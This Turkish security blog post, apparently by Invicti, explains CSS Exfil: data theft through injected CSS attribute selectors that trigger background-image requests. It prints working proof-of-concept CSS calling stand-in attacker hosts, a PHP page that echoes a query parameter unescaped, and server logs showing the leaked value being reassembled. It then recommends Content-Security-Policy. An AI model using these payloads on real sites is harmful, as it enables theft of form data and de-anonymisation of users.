Bir İhtimal Daha Var: CSS Injection ile Dataları Elde Etmek

Invicti Security Team - 12 Şubat 2018 -

Modern tarayıcıların XSS saldırılarını engellemek için uyguladığı denetim mekanizmalarını aşmak için yeni bir yöntem daha karşımıza çıkıyor, CSS Exfil. Saldırganların CSS attribute'lerinden faydalanarak websayfası içerisindeki değerleri nasıl elde ettiklerini görüyoruz.

Bir İhtimal Daha Var: CSS Injection ile Dataları Elde Etmek

Modern tarayıcıların neredeyse tamamında varsayılan olarak aktif halde gelen XSS engelleyicileri pek çok noktada saldırganların önünü kesiyor, daha yaratıcı olmaya zorluyor.

Peki ya saldırgan bulduğu girdi noktasından XSS değil de CSS enjekte ederse? Yazımıza konu olan araştırmanın sahibi Mike Gualtieri'e göre Chrome tarayıcılarının XSS filtrelerini bu yolla atlatabilmek mümkün.

Birkaç hafta önce Haftanın Hackleri'nde Crooked Style Sheets adı verilen yöntem sayesinde kullanıcının nasıl izlenebileceğine değinmiş idik. Crooked Style Sheets ile söz konusu olan kullanıcı hareketlerinin CSS yoluyla izlenmesi idi. CSS Exfil ise daha çok sayfa kontekstine CSS enjekte eden bir saldırganın sayfa içeriğini okuyarak, yine saldırgan kontrolündeki bir noktaya gönderebilmesi yöntemini kullanıyor. CSS Exfil, CSS Exfiltration'ın bir kısaltması.

CSS Exfil yöntemini bir sayfada kullanabilmek için, öncelikle sayfaya CSS kodu enjekte edebilmek gerekiyor. Bunun için de:

  • Bu sayfanın bir Reflected ya da Stored XSS zafiyeti barındırması gerekiyor.
  • Sayfaya kasten ya da yanlışlıkla eklenmiş üçüncü parti bir kütüphane üzerinden bu kodlar eklenebilir.
  • Zararlı tarayıcı uzantıları yoluyla bu kodlar enjekte edilebilir.

Peki yöntem nasıl çalışıyor?

CSS Exfil saldırısının merkezinde CSS değer seçicileri var. CSS değer seçicileri ile attribute'leri sadece belirli değerleri içeren elemanları seçebilmek mümkün.

W3Schools'dan alıntılayacak olursak:

[attribute=value]   [foo=bar]     foo attribute'ü "bar" olan tüm elemanları seçer.
[attribute~=value]  [foo~=bar]    foo attribute'ü "bar" kelimesini içeren tüm elemanları seçer.
[attribute|=value]  [foo|=bar]    foo attribute değeri "bar" ile başlayan tüm elemanları seçer.
[attribute^=value]  [foo^="bar"]  (Yukarıdaki ile aynı)
[attribute$=value]  [foo$="bar"]  foo attribute değeri "bar" ile biten tüm elemanları seçer.
[attribute*=value]  [foo*="bar"]  foo attribute'ü "bar" kelimesini içeren tüm elemanları seçer.

Yukarıdaki örnekten hareketle, küçük bir demo yapacak olursak:

<style>
    #username[value="mikeg"] {
            background:url("https://attacker.host/mikeg");
    }
</style>
<input id="username" value="mikeg" />

Bu CSS kodu kullanıcı adı değeri "mikeg" olduğunda saldırgan kontrolündeki siteye, username id'sine sahip eleman için background yüklemek üzere istek yapacak. Saldırgan da bu yolla, username alanındaki değeri tespit edebilecek.

Yukarıdaki örnek basit bir demo. Fakat bu yolla Tor türevi anonimizasyon sağlayan tarayıcılarda, kullanıcı kimlikleri ifşa olabilir.

Yukarıdaki demo, geçen haftalarda konu ettiğimiz Crocked Style Sheets 'i hatırlatmış olabilir. Ama CSS Exfil bundan daha fazlası…

Aşağıdaki gibi basit bir örnek ile web sayfasındaki datalar saldırgan tarafından elde edilebilir:

<html>
<head>
    <style>
        [2]#username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
    </style>
</head>
<body>
    <form>
        Username: <input type="text" id="username" name="username" value="[1]<?php echo $_GET['username']; ?>" />
        <input id="form_submit" type="submit" value="submit"/>
        <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
    </form>
</body>
</html>

Yukarıdaki örnek gerçekçi olmasa da CSS Exfil'in çalışma mantığını anlatabilmek adına önemli. Kullanıcı username id'sine sahip input kutusuna "a", "b", "c" değerlerinden birini içeren değer girdiğinde, sayfadaki bir başka HTML elemanı örneğin "aa" id'sine sahip eleman bir CSS ile ilişkilendirilecek. Örneğin background:url olarak bir değer atanacak, bu yolla da saldırgan username kutusundaki değerden haberdar olacak.

Bu senaryonun gerçekleşmesi için üç ön şart var:

  • Parse edilecek data, sayfa yüklenmesi esnasında sayfada olmalı. Sonradan dinamik olarak eklenmiş olmamalı. [1] numara ile işaret ettiğimiz noktada username Querystring parametresi ile alınan değer doğrudan sayfa çıktısına ekleniyor. Sayfa yüklenmesi esnasında hazır bulunmuş oluyor.
  • Yakalanan datanın saldırgan kontrolündeki sunucuya bildirilmesi, HTML elemanlarına eklenen CSS talimatları (background:url) ile gerçekleşiyor. Bu sebeple data ile ilişkili bir ya da daha çok eleman olmalı ki bu elemanlara CSS ataması yapılabilsin:

    Örneğin:
    #username[value*="aa"]~#aa{background:url("https://attack.host/aa");}
  • En önemli noktalardan biri de, sayfada data'nın her yakalanışı ile ilgili CSS set edilecek elemanların background / background-image, list-style / list-style-image veya cursor) gibi atamaları destekliyor oluşu. Zira tüm veri yakalama bu talimatlar doğrultusunda yapılacak istekler üzerinden gerçekleşecek.

hxxps://victim[.]host/css-exfil-poc1[.]php?username=abcab URL'ine istek yapıldığında,

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /ab HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /a_ HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /bc HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /_b HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /ca HTTP/1.1" 404 22

Data tekrar birleştirilmek istendiğinde,

a # a_
ab # ab
abc # bc
abca # ca
abcab # _b

Ayrıntılar yazıda mevcut. CSS, iki karakterli aramalar yolu ile ve başlangıç ve sondaki karakter ("a_","_a") ile datayı elde etmeye çalışıyor. Neden ikiden daha fazla karakter için değil, sorusu akıllara gelebilir. Araştırmacı pratikliği nedeniyle 2 karakteri tercih ettiğini söylüyor.

Peki Ya Çözüm?

Çözüm harici kaynaklardan CSS yüklemelerini ve inline CSS'leri kontrol etmenizi yarayan Content-Security Policy (CSP) talimatlarını kullanmaktan geçiyor.

Ayrıntılar için lütfen tıklayınız.